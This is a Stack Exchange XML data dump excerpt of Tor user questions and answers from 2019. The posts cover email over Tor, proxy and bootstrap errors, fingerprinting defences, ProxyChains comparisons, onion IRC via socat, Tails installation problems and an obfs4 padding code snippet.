  <row Id="19672" PostTypeId="1" CreationDate="2019-03-30T04:04:21.437" Score="0" ViewCount="3605" Body="&lt;p&gt;Is there anyway to use tor network to securely access me email accounts like with onion?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use tor browser to access my email account and sent my self an email to another email service and it showed my real IP address as the sender's IP address in the email sender's advance details.&#xA;It also showed I was using tor browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a startmail account, but I cannot not sign in using tor browser. I asked their support why, they said its security conflicts between the two.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to use email over a secured network like tor or onion is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank You&lt;/p&gt;&#xA;" OwnerUserId="25415" LastActivityDate="2023-02-23T03:08:21.003" Title="How do I use tor network to access my email account" Tags="|security|help|onion-routing|email|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19674" PostTypeId="2" ParentId="19672" CreationDate="2019-03-30T07:11:48.113" Score="0" Body="&lt;p&gt;I have two suggestions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) If you like to use services such as gmail or yahoo which they have limitations for using TOR, you can set a VPN after TOR, which makes VPN's IP as your public IP, but you yourself connect to VPN through TOR.&#xA;You can check more at:&lt;a href=&quot;https://mstajbakhsh.ir/socks-rocks-again/&quot; rel=&quot;nofollow noreferrer&quot;&gt;VPN Through TOR&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) If you want to create your own hidden mail service over TOR, which only you (and whom you've told about it) can access it, you may check my site for finding about the steps. I have used a simple but powerful email server named &lt;a href=&quot;https://www.hmailserver.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;hMailServer&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The steps are in &lt;a href=&quot;https://mstajbakhsh.ir/configuring-a-hidden-email-server/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this link&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Y0Ozr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y0Ozr.png&quot; alt=&quot;Configuring Hidden Mail Server&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Information about how to access to the mail server using PC, can be found &lt;a href=&quot;https://mstajbakhsh.ir/connecting-to-hidden-mail-server/&quot; rel=&quot;nofollow noreferrer&quot;&gt;HERE&lt;/a&gt;. And if you prefer to access the hidden mail server using Android, refer &lt;a href=&quot;https://mstajbakhsh.ir/my-contribution-in-k9-android-mail-client/&quot; rel=&quot;nofollow noreferrer&quot;&gt;HERE&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="19920" LastActivityDate="2019-03-30T07:11:48.113" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19675" PostTypeId="1" CreationDate="2019-03-31T00:54:39.630" Score="0" ViewCount="3808" Body="&lt;p&gt;My Computer is a PC, not a MAC.  But I cannot connect to the Onion sites. Whenever I try, i get the following message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The proxy server is refusing connections&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firefox is configured to use a proxy server that is refusing connections.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Check the proxy settings to make sure that they are correct.&#xA;Contact your network administrator to make sure the proxy server is working.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is the problem Firefox?  Is it the Proxy settings? What am I supposed to change?&lt;/p&gt;&#xA;" OwnerUserId="25622" LastEditorUserId="5234" LastEditDate="2019-04-03T19:31:16.220" LastActivityDate="2022-03-06T11:05:45.530" Title="The proxy server is refusing connections on my windows P.C" Tags="|configuration|windows|firefox|proxy|connection|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19676" PostTypeId="2" ParentId="19672" CreationDate="2019-03-31T09:05:19.937" Score="0" Body="&lt;p&gt;There are mail services that actually provide an onion address like e.g. Protonmail:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://protonmail.com/tor&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://protonmail.com/tor&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://protonirockerxow.onion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://protonirockerxow.onion/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are worried that your IP gets leaked somehow, you should use &lt;a href=&quot;https://www.whonix.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Whonix&lt;/a&gt;. When doing so, all traffic from your machine (not only Tor Browser) is sent over Tor.&lt;/p&gt;&#xA;" OwnerUserId="25426" LastActivityDate="2019-03-31T09:05:19.937" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="19677" PostTypeId="1" CreationDate="2019-03-31T09:36:01.760" Score="0" ViewCount="116" Body="&lt;p&gt;I have heard that Tor protects users from sites that try to fingerprint browsing history with its integration of &lt;strong&gt;NoScript&lt;/strong&gt;. But it's not completely secure as some researchers claims.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does Tor really protects over these list of Fingerprint Vectors. They are as follows&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;1. User Agent(User-Agent header)&#xA;2. Screen resolution (screen.height, screen.width) &#xA;3. Window size (window.height, window.width) &#xA;4. Pixel density (screen.pixelDepth)&#xA;5. Color depth (screen.colorDepth)&#xA;6. Timezone ((new Date()).getTimezoneOffset())&#xA;7. plugins installed&#xA;8. fonts installed&#xA;9. navigator.platform&#xA;10. Flash/Java version from JavaScript&#xA;11. webgl (graphics hardware &amp;amp; driver version)&#xA;12. canvas&#xA;13. Media devices (navigator.mediaDevices.enumerateDevices())&#xA;14. Language&#xA;15. session storage supported&#xA;16. local storage supported&#xA;17. codecs&#xA;18. DRM&#xA;19. DNT enabled&#xA;20. indexDB supported&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Do we need to install any other plugin/addons in order to encounter above lists.&#xA;Apart from Tor browser, in case with any other normal browser how should we need to prevent them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could someone can explain in brief regarding how does tor protects with regarding &#xA;to the above list of Fingerprint vectors? In case if not what must be the necessary configurations needs to be applied to make it completely secure?&lt;/p&gt;&#xA;" OwnerUserId="21327" LastEditorUserId="21327" LastEditDate="2019-03-31T10:19:26.907" LastActivityDate="2019-03-31T10:19:26.907" Title="How does Tor protects from the list of Digital Finger Print" Tags="|configuration|security|fingerprinting|information-leaks|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19678" PostTypeId="1" CreationDate="2019-03-31T10:17:10.813" Score="0" ViewCount="88" Body="&lt;p&gt;&lt;em&gt;The Tor Browser bounces your communications data through distributed network of relays by encrypting traffic in at least three layers&#xA;selected from thousands of volunteer computers, thus making incredibly difficult for anyone to trace you and your activity and identity &#xA;that has been masked by Tor.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor functions like a layered series of proxy servers that route your traffic in a zig-zag around the internet before it reaches your destination (the layers give rise to the name, which stands for The Onion Router).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are at least three hops through data travels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The entry node, which inevitably knows your IP address&#xA;The middle (or relay) node, which prevents the exit node from finding out which entry node you used and makes it very hard to correlate this information&#xA;The exit node, which knows what site you are connecting to, but does not know who you are&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What if a malicious Tor node may keep limited logs and that parts of it may be under surveillance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But since it’s not completely secure, because they previously had to rely on exit nodes. &#xA;Since Exit nodes can also see your traffic and may attempt to modify it. &#xA;But unfortunately it’s unlikely that resources will be spent tracking down your browsing habits running on a high-profile user&#xA;and these exit node bandwidth is the scarcest resource in the Tor ecosystem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What measures should be taken in-order to avoid the above circumstances. What must be the additional softwares needed to be installed to combat against privacy?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do we need to configure those Exit nodes? Does Onion Service really defend against the above scenario?&lt;/p&gt;&#xA;" OwnerUserId="21327" LastEditorUserId="21327" LastEditDate="2019-03-31T16:44:19.437" LastActivityDate="2019-03-31T16:44:19.437" Title="How do we extend our privacy on TOR circuit?" Tags="|configuration|onion-services|exit-relays|onion-routing|network-configuration|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19682" PostTypeId="1" CreationDate="2019-04-02T14:57:00.187" Score="0" ViewCount="1812" Body="&lt;p&gt;I am very new to using proxy chains, and since I was worried about messing up while setting up a proper proxy chain I have been using tor browser. Is using tor browser same as using proxy chain using tor's nodes in the relay? or are they different. And which one is more safer more a naive user.&lt;/p&gt;&#xA;" OwnerUserId="25637" LastActivityDate="2020-06-01T12:01:58.737" Title="Is tor browser and anon surf both the same?" Tags="|tor-browser-bundle|anonymity|deanonymization|torproject.org|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19683" PostTypeId="5" CreationDate="2019-04-02T20:34:09.150" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2019-04-02T20:34:09.150" LastActivityDate="2019-04-02T20:34:09.150" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19684" PostTypeId="4" CreationDate="2019-04-02T20:34:09.150" Score="0" Body="Torifying wrapper to redirect the traffic of socks-compatible apps through the tor network." OwnerUserId="12978" LastEditorUserId="12978" LastEditDate="2019-04-03T19:31:05.213" LastActivityDate="2019-04-03T19:31:05.213" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19685" PostTypeId="2" ParentId="19682" CreationDate="2019-04-03T00:59:01.323" Score="1" Body="&lt;p&gt;They are not the same. Tor doesn't just send your data from node to node, it is also encrypted 3 times. Each time your data goes from node to node, one level of encryption is removed until you get to the website that you are using.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What ProxyChains does is that it sends your connection through multiple SOCKS/HTTP(S) proxy servers but without the added protection of encryption with Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, Tor Browser makes you look like all other Tor Browser users. I use this illustration: imagine being in a room of people who look alike and have the exact same clothes of the same color. This is what using the Tor Browser does for you. You are one of many and it would be very difficult to pick you out. You do not get this protection from other technologies.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-04-03T00:59:01.323" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19686" PostTypeId="1" CreationDate="2019-04-03T11:03:52.057" Score="3" ViewCount="3127" Body="&lt;p&gt;When I type tor in terminal (macOSX), I get this. I want to configure tor but the thing is it gets stuck at 100% and nothing happens then. But the terminal still runs so I assume that it's doing something but nothing happens.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Last login: Wed Apr  3 11:46:47 on ttys000&#xA;yuvrajs-MacBook-Pro:~ yuvrajsingh$ killall tor&#xA;yuvrajs-MacBook-Pro:~ yuvrajsingh$ tor&#xA;Apr 03 11:58:21.244 [notice] Tor 0.3.5.8 running on Darwin with Libevent 2.1.8-stable, OpenSSL 1.0.2r, Zlib 1.2.11, Liblzma N/A, and Libzstd N/A.&#xA;Apr 03 11:58:21.244 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Apr 03 11:58:21.244 [notice] Read configuration file &quot;/usr/local/etc/tor/torrc&quot;.&#xA;Apr 03 11:58:21.247 [notice] Opening Socks listener on 127.0.0.1:9050&#xA;Apr 03 11:58:21.247 [notice] Opened Socks listener on 127.0.0.1:9050&#xA;Apr 03 11:58:21.247 [notice] Opening Control listener on 127.0.0.1:9051&#xA;Apr 03 11:58:21.247 [notice] Opened Control listener on 127.0.0.1:9051&#xA;Apr 03 11:58:21.000 [notice] Parsing GEOIP IPv4 file /usr/local/Cellar/tor/0.3.5.8/share/tor/geoip.&#xA;Apr 03 11:58:21.000 [notice] Parsing GEOIP IPv6 file /usr/local/Cellar/tor/0.3.5.8/share/tor/geoip6.&#xA;Apr 03 11:58:21.000 [notice] Bootstrapped 0%: Starting&#xA;Apr 03 11:58:21.000 [notice] Starting with guard context &quot;default&quot;&#xA;Apr 03 11:58:22.000 [notice] Bootstrapped 10%: Finishing handshake with directory server&#xA;Apr 03 11:58:22.000 [notice] Bootstrapped 80%: Connecting to the Tor network&#xA;Apr 03 11:58:22.000 [notice] Bootstrapped 90%: Establishing a Tor circuit&#xA;Apr 03 11:58:23.000 [notice] Bootstrapped 100%: Done&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="25642" LastEditorUserId="5234" LastEditDate="2019-04-03T19:31:00.727" LastActivityDate="2022-12-01T14:37:46.927" Title="Tor configuration stuck 100%" Tags="|configuration|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19690" PostTypeId="1" AcceptedAnswerId="19697" CreationDate="2019-04-04T13:53:57.333" Score="0" ViewCount="1873" Body="&lt;p&gt;I am trying to connect to a hidden-service-IRC via torsocks and Irssi, following this &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorifyHOWTO/irssi&quot; rel=&quot;nofollow noreferrer&quot;&gt;guide&lt;/a&gt; - however, it seems rather outdated and doesnt work as excpected. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is important to note, that torsocks itself works flawlessly, &lt;code&gt;torsocks curl ipinfo.io/ip&lt;/code&gt; shows connection via TOR, also connecting via torsocks and Irssi to clearweb-IRCs works. But connecting to a hidden service doesn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following the linked guide, adding networks (but ignoring the --network switch wich Irssi seems to have dropped) results in the following er after &lt;code&gt;/connect Server1&lt;/code&gt;: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ERROR torsocks[15494]: Unable to resolve. Status reply: 4 (in socks5_recv_resolve_reply()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And Irssi itself states: &lt;code&gt;16:47 -!- Irssi: Unable to connect server Server1 port 6667 [Non-recoverable failure in name resolution]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trying to connect to the URL itself via &lt;code&gt;/connect $URL.onion 6667&lt;/code&gt; without adding the server/network to Irssi before results in: &lt;code&gt;WARNING torsocks[15492]: [connect] Connection to a local address are denied since it might be a TCP DNS query to a local DNS server. Rejecting it for safety reasons. (in tsocks_connect() at connect.&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything I can do to get this working?&lt;/p&gt;&#xA;" OwnerUserId="23462" LastActivityDate="2019-06-01T16:03:15.420" Title="TOR, Irssi and Hidden Services - how? (2019)" Tags="|torsocks|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19694" PostTypeId="2" ParentId="13976" CreationDate="2019-04-05T06:43:13.157" Score="1" Body="&lt;p&gt;TOR is just make it possible that your connection is transferred via 3 extra router:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Entry Point&lt;/li&gt;&#xA;&lt;li&gt;Middle Relay&lt;/li&gt;&#xA;&lt;li&gt;Exit Node&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The download speed is dependent to 5 factors: &lt;strong&gt;3 extra routers of TOR + the web server (which you're downloading file from) + your ISP speed&lt;/strong&gt;. The speed will be the minimum of these factors. As an example, middle relay of your current circuit has limited speed. Therefore, your download speed will be decreased down to your Middle Relay speed limit. &lt;strong&gt;Changing circuit&lt;/strong&gt; or &lt;strong&gt;requesting a new identity&lt;/strong&gt; may solve your problem.&lt;/p&gt;&#xA;" OwnerUserId="19920" LastActivityDate="2019-04-05T06:43:13.157" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19695" PostTypeId="2" ParentId="12392" CreationDate="2019-04-05T06:48:54.343" Score="0" Body="&lt;p&gt;Actually I think it does not depend to the TOR, but your FireFox account technically can know about the time and URL which you bookmarked. Therefore, can make a graph of your bookmarks and estimate your browsing and if FireFox cooperate with the web server which you've bookmarked it, your session at the web server can be identified and they can track what you did in the web site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if you're concerning about the privacy, I suggest you to export bookmarks periodically from one browser and import it to the others. If it is not a problem, then feel free in bookmarking and syncing.&lt;/p&gt;&#xA;" OwnerUserId="19920" LastActivityDate="2019-04-05T06:48:54.343" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19696" PostTypeId="1" CreationDate="2019-04-05T07:52:52.743" Score="0" ViewCount="45" Body="&lt;p&gt;I don't use Tor that often, but how do I access .onion sites. I am completely lost - I remember my name, password, and pin - but how to get there? HELP! &lt;/p&gt;&#xA;" OwnerUserId="25658" LastActivityDate="2019-05-06T02:12:08.590" Title="Drawing a blank" Tags="|onion-routing|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19697" PostTypeId="2" ParentId="19690" CreationDate="2019-04-05T14:22:16.373" Score="0" Body="&lt;p&gt;I managed a workaround for this problem using &lt;code&gt;socat&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;socat TCP4-LISTEN:4223,fork SOCKS4A:localhost:URL.onion:PORT,socksport=9050&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with this, one can connect to the specified hidden-service-IRC from within Irssi via &lt;code&gt;/connect localhost 4223&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="23462" LastActivityDate="2019-04-05T14:22:16.373" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19699" PostTypeId="1" CreationDate="2019-04-05T17:38:10.583" Score="0" ViewCount="89" Body="&lt;p&gt;Everytime I actively use Tor Browser, the mds_stores process in the Activity Monitor uses 95-100% of the CPU. I have to wait about ten minutes for mds_stores to return to normal CPU usage (&amp;lt; 0.5%) after I quit Tor Browser. How can I prevent mds_stores from using so much CPU when Tor Browser is open? No other programs on my system cause this issue. I am running macOS 10.14.5.&lt;/p&gt;&#xA;" OwnerUserId="25661" LastActivityDate="2019-04-05T17:38:10.583" Title="Why does Tor Browser make mds_stores use so much CPU on macOS?" Tags="|mac|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19700" PostTypeId="1" CreationDate="2019-04-05T20:25:41.017" Score="0" ViewCount="153" Body="&lt;p&gt;I am currently trying to get my Relay ipv6 ready.&#xA;However the Port Tor Runs on seems inaccessible.&#xA;Couldn't identify an issue with Port forwarding (ipv4 works; SSH on ipv6 works as well).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Ping-Check specified at &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/TorRelayGuide#IPv6&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://trac.torproject.org/projects/tor/wiki/TorRelayGuide#IPv6&lt;/a&gt; worked for all but 001:678:558:1000::244.&#xA;Also don't have an explanation for that, since ipv6 Pings seem to work fine (eg. Google works on ipv6), but if I enter the address in an online Pingtest (Webpage that let you Ping targets) they report it as online.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Relay:&#xA;&lt;a href=&quot;https://metrics.torproject.org/rs.html#details/45D8C1EEFF044043AA6806C4B9130F8F189EF316&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://metrics.torproject.org/rs.html#details/45D8C1EEFF044043AA6806C4B9130F8F189EF316&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="25655" LastEditorUserId="5234" LastEditDate="2019-04-06T18:09:30.210" LastActivityDate="2019-04-06T18:09:30.210" Title="ipv6 not working - Port 9001/9030 not reachable - but Port 22 is" Tags="|relays|ipv6|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="19702" PostTypeId="1" CreationDate="2019-04-06T23:20:54.263" Score="0" ViewCount="87" Body="&lt;p&gt;I’m just trying to learn about Tails and Qubes/Whonix. What gives you the most security and anonymously online? Tails on its own or Qubes with Whonix or Tails, Qubes and Whonix all three together? And why? Thank you for any answer.&lt;/p&gt;&#xA;" OwnerUserId="25668" LastActivityDate="2019-04-06T23:20:54.263" Title="Tails and Qubes/Whonix?" Tags="|tails|tor-install|whonix|qubes|" AnswerCount="0" CommentCount="2" ClosedDate="2019-04-07T10:42:36.393" ContentLicense="CC BY-SA 4.0" />
  <row Id="19703" PostTypeId="2" ParentId="19660" CreationDate="2019-04-07T10:50:10.273" Score="0" Body="&lt;p&gt;The flag &lt;em&gt;Not Recommended&lt;/em&gt; means that you run a Tor version which is not recommended by the directory authorities. They maintain a &lt;a href=&quot;https://consensus-health.torproject.org/#recommendedversions&quot; rel=&quot;nofollow noreferrer&quot;&gt;list of recommended versions&lt;/a&gt;. Your version of Tor is probably to old or has some other issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually it helps to update to the latest version of Tor.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2019-04-07T10:50:10.273" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19704" PostTypeId="1" CreationDate="2019-04-08T00:42:43.897" Score="0" ViewCount="4458" Body="&lt;p&gt;Does using the Tor Browser to visit Clearnet websites provide more privacy than visiting the same Clearnet websites using retail Firefox?&lt;/p&gt;&#xA;" OwnerUserId="25674" LastActivityDate="2019-04-08T01:01:19.433" Title="Visiting Clearnet websites using Tor Browser" Tags="|browsers|clear-net|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19705" PostTypeId="2" ParentId="19704" CreationDate="2019-04-08T01:01:19.433" Score="1" Body="&lt;p&gt;Generally yes, any requests to websites you visit in the Tor Browser whether it’s an onion address or a regular address will be routed through the Tor network. This means that any website you visit will not learn your IP address. Even with its new privacy features, Firefox does not hide your IP address.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2019-04-08T01:01:19.433" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19706" PostTypeId="1" CreationDate="2019-04-08T13:22:23.587" Score="0" ViewCount="81" Body="&lt;p&gt;The Firefox web browser is the only graphical software on Tails the user &quot;clearnet&quot; can start, or? If not, how?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: I know that to run software under the user &quot;clearnet&quot; is stupid, but ….&lt;/p&gt;&#xA;" OwnerUserId="25672" LastActivityDate="2019-04-08T13:22:23.587" Title="How to start graphical software on Tails?" Tags="|tails|clear-net|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="19711" PostTypeId="1" CreationDate="2019-04-09T18:19:25.403" Score="3" ViewCount="2525" Body="&lt;p&gt;I accidentally resized tor browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to change back to default size without restart?&lt;/p&gt;&#xA;" OwnerUserId="25684" LastActivityDate="2019-05-23T16:26:33.310" Title="Reset to default browser size" Tags="|tor-browser-bundle|anonymity|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19712" PostTypeId="1" CreationDate="2019-04-10T09:09:23.147" Score="0" ViewCount="77" Body="&lt;p&gt;i would like to &quot;Torify&quot; requests from my computer to a specific web address. This web address is providing an API and I want to use information from this API using the Tor network. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have already tried &lt;code&gt;torify&lt;/code&gt;, but that only allows me to select an application to &quot;Torify&quot; and I basically want any request to the address to go trough Tor, not only from one application. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible and what would be the approach? &lt;/p&gt;&#xA;" OwnerUserId="25687" LastEditorUserId="88" LastEditDate="2019-04-10T15:59:28.183" LastActivityDate="2019-04-10T15:59:28.183" Title="How to &quot;Torify&quot; requests to one specific web address" Tags="|configuration|torsocks|ip-address|torify|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19714" PostTypeId="2" ParentId="17981" CreationDate="2019-04-10T13:41:19.757" Score="0" Body="&lt;p&gt;see &lt;a href=&quot;https://github.com/Yawning/obfs4/blob/obfs4proxy-0.0.9/transports/obfs4/obfs4.go#L521&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/Yawning/obfs4/blob/obfs4proxy-0.0.9/transports/obfs4/obfs4.go#L521&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if conn.iatMode != iatNone {&#xA;    var iatFrame [framing.MaximumSegmentLength]byte&#xA;    for frameBuf.Len() &amp;gt; 0 {&#xA;        iatWrLen := 0&#xA;&#xA;        switch conn.iatMode {&#xA;        case iatEnabled:&#xA;            // Standard (ScrambleSuit-style) IAT obfuscation optimizes for&#xA;            // bulk transport and will write ~MTU sized frames when&#xA;            // possible.&#xA;            iatWrLen, err = frameBuf.Read(iatFrame[:])&#xA;&#xA;        case iatParanoid:&#xA;            // Paranoid IAT obfuscation throws performance out of the&#xA;            // window and will sample the length distribution every time a&#xA;            // write is scheduled.&#xA;            targetLen := conn.lenDist.Sample()&#xA;            if frameBuf.Len() &amp;lt; targetLen {&#xA;                // There's not enough data buffered for the target write,&#xA;                // so padding must be inserted.&#xA;                if err = conn.padBurst(&amp;amp;frameBuf, targetLen); err != nil {&#xA;                    return 0, err&#xA;                }&#xA;                if frameBuf.Len() != targetLen {&#xA;                    // Ugh, padding came out to a value that required more&#xA;                    // than one frame, this is relatively unlikely so just&#xA;                    // resample since there's enough data to ensure that&#xA;                    // the next sample will be written.&#xA;                    continue&#xA;                }&#xA;            }&#xA;            iatWrLen, err = frameBuf.Read(iatFrame[:targetLen])&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="25688" LastActivityDate="2019-04-10T13:41:19.757" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19715" PostTypeId="5" CreationDate="2019-04-10T19:07:36.623" Score="0" Body="&lt;p&gt;It is a measure of how much data can be transferred over a medium in a given amount of time, mostly shown as kBit/s or MBit/s. It is the primary way of classifying the speed of data exchange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They incoming bandwidth (&quot;download speed&quot;) and the outgoing (&quot;upload speed&quot;) typically differ.&lt;/p&gt;&#xA;" OwnerUserId="12978" LastEditorUserId="12978" LastEditDate="2019-04-13T23:31:28.143" LastActivityDate="2019-04-13T23:31:28.143" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19716" PostTypeId="4" CreationDate="2019-04-10T19:07:36.623" Score="0" Body="The rate of data transfer. It may refer to both the rate what tor requires to function, and also the data rate of the embedded traffic." OwnerUserId="12978" LastEditorUserId="12978" LastEditDate="2019-04-13T23:31:24.690" LastActivityDate="2019-04-13T23:31:24.690" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19720" PostTypeId="1" CreationDate="2019-04-11T23:27:09.080" Score="0" ViewCount="5185" Body="&lt;p&gt;Update:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I Finally got Tails installed to my USB flash drive. When Tails loads to the welcome screen I can't do anything because, the Mouse and Keyboard don't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I get them to work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank You.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I downloaded Tails. I really do not know how to get it on my USB flash drive.&#xA;the only option I see it burn to DVD.&#xA;I don't want it on DVD, I bought this USB flash drive just for Tails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, The tails verify keeps saying the files are corrupt and can not be fixed.&#xA;I deleted it, then I download it again, it said the same thing. I deleted it again, then I tried again. The download stopped at 72% I waited to see if it would restart, then it said the download stopped responding. reporting this issue to Microsoft, then it closed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I tried again, this time my internet security blocked the download saying a download file contains a Trojan Virus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If, and when I can get a good download of Tails, how do I get it on to my USB flash drive?&#xA;If someone could please give me detailed step-by-step instructions I would greatly appreciate your time doing so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank You.&lt;/p&gt;&#xA;" OwnerUserId="25415" LastEditorUserId="25415" LastEditDate="2019-04-12T10:54:24.560" LastActivityDate="2021-05-26T18:30:44.330" Title="My Mouse and Keyboard Don't Work With Tails" Tags="|configuration|tails|help|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="19724" PostTypeId="2" ParentId="16952" CreationDate="2019-04-12T10:14:07.477" Score="1" Body="&lt;p&gt;I had the same issue. I lowered the security slider to the lowest level, did the reCaptcha, then slid it back to where I had it before. It works every time for me, give it a try.&lt;/p&gt;&#xA;" OwnerUserId="25415" LastActivityDate="2019-04-12T10:14:07.477" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
